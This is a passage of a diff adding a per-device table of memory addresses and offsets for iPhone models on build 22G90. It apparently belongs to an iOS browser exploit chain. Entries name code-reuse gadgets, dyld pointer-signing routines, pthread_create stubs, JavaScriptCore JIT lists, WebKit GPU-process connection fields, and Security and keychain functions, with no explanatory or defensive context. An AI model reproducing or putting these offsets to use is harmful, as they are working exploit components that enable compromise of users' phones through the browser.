WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed880500n, + }, + "iPhone16,2_22G90": { + __pthread_head : 0x26a734020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fe9e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1777150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fe4d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fe430n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fe480n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8fd878n, + AXCoreUtilities__DefaultLoader : 0x1eb6106b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee756e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99c90n, + DesktopServicesPriv_bss : 0x1ecad15e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2694ab0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed934420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed70c708n, + free_slabs : 0x1ed7c5e90n, + gadget_control_1_ios184 : 0x23ed792ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f03a150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cff5ce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee618660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7772a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7df0b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7ded60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7ded68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7ded70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7decb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7ded78n, + ImageIO__gImageIOLogProc : 0x1ee7e13f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95e470n, + JavaScriptCore__jitAllowList_once : 0x1ed95e288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x218885820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d8000n, + libGPUCompilerImplLazy__invoker : 0x23cb1b8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc65870n, + libsystem_c__atexit_mutex : 0x1ed6eb318n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d044000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6ea580n, + mainRunLoop : 0x1ed94c020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x25813fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d04a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272e4c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87f328n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed95c708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d60b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edbad3b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119e7c0n, + WebCore__initPKContact_once : 0x1ed88c0f8n, + WebCore__initPKContact_value : 0x1ed88c100n, + WebCore__PAL_getPKContactClass : 0x1ed8835b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed88a8d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed88a8c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed88a8b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee96c548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7716b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb72c300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed880500n, + }, + "iPhone17,1_22G90": { + __pthread_head : 0x26a00c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fe9e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1777150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fe4d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fe430n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fe480n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8fd878n, + AXCoreUtilities__DefaultLoader : 0x1eb6106b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee756e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99c90n, + DesktopServicesPriv_bss : 0x1ecad15e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2694ab0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed934420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed70c708n, + free_slabs : 0x1ed7c5e90n, + gadget_control_1_ios184 : 0x23ed792ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f03a150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cff5ce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee618660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7772a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7df0b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7ded60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7ded68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7ded70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7decb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7ded78n, + ImageIO__gImageIOLogProc : 0x1ee7e13f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95e470n, + JavaScriptCore__jitAllowList_once : 0x1ed95e288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x218885820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d8000n, + libGPUCompilerImplLazy__invoker : 0x23cb1b8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc65870n, + libsystem_c__atexit_mutex : 0x1ed6eb318n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d044000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6ea580n, + mainRunLoop : 0x1ed94c020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x257a1fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d04a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27270c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87f328n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed95c708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d60b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edbad3b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119e7c0n, + WebCore__initPKContact_once : 0x1ed88c0f8n, + WebCore__initPKContact_value : 0x1ed88c100n, + WebCore__PAL_getPKContactClass : 0x1ed8835b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed88a8d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed88a8c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed88a8b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee96c548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7716b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb72c300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed880500n, + }, + "iPhone17,2_22G90": { + __pthread_head : 0x26a00c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fe9e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1777150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fe4d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fe430n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fe480n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8fd878n, + AXCoreUtilities__DefaultLoader : 0x1eb6106b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee756e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99c90n, + DesktopServicesPriv_bss : 0x1ecad15e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2694ab0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed934420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed70c708n, + free_slabs : 0x1ed7c5e90n, + gadget_control_1_ios184 : 0x23ed792ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f03a150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cff5ce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee618660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7772a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7df0b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7ded60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7ded68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7ded70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7decb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7ded78n, + ImageIO__gImageIOLogProc : 0x1ee7e13f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95e470n, + JavaScriptCore__jitAllowList_once : 0x1ed95e288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x218885820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d8000n, + libGPUCompilerImplLazy__invoker : 0x23cb1b8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc65870n, + libsystem_c__atexit_mutex : 0x1ed6eb318n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d044000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6ea580n, + mainRunLoop : 0x1ed94c020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x257a1fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d04a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27270c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87f328n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed95c708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d60b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edbad3b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119e7c0n, + WebCore__initPKContact_once : 0x1ed88c0f8n, + WebCore__initPKContact_value : 0x1ed88c100n, + WebCore__PAL_getPKContactClass : 0x1ed8835b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed88a8d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed88a8c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed88a8b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee96c548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7716b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb72c300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed880500n, + }, + "iPhone17,3_22G90": { + __pthread_head : 0x2699b8020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa8e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa3d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa330n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa380n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9778n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708608n, + free_slabs : 0x1ed7c1d90n, + gadget_control_1_ios184 : 0x23ed712ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f032150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfedce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dafb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dac60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dac68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dac70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7dabb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dac78n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x21887d820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb138b4n, + libGPUCompilerImplLazy_cstring : 0x23bc5d870n, + libsystem_c__atexit_mutex : 0x1ed6e7218n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d03c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6480n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a17e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d042988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x2720a4000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b228n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887ff8n, + WebCore__initPKContact_value : 0x1ed888000n, + WebCore__PAL_getPKContactClass : 0x1ed87f4b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8867d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8867c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8867b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87c400n, + }, + "iPhone17,4_22G90": { + __pthread_head : 0x2699b8020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa8e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa3d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa330n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa380n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9778n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708608n, + free_slabs : 0x1ed7c1d90n, + gadget_control_1_ios184 : 0x23ed712ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f032150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfedce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dafb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dac60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dac68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dac70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7dabb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dac78n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x21887d820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb138b4n, + libGPUCompilerImplLazy_cstring : 0x23bc5d870n, + libsystem_c__atexit_mutex : 0x1ed6e7218n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d03c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6480n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a17e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d042988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x2720a4000n, + 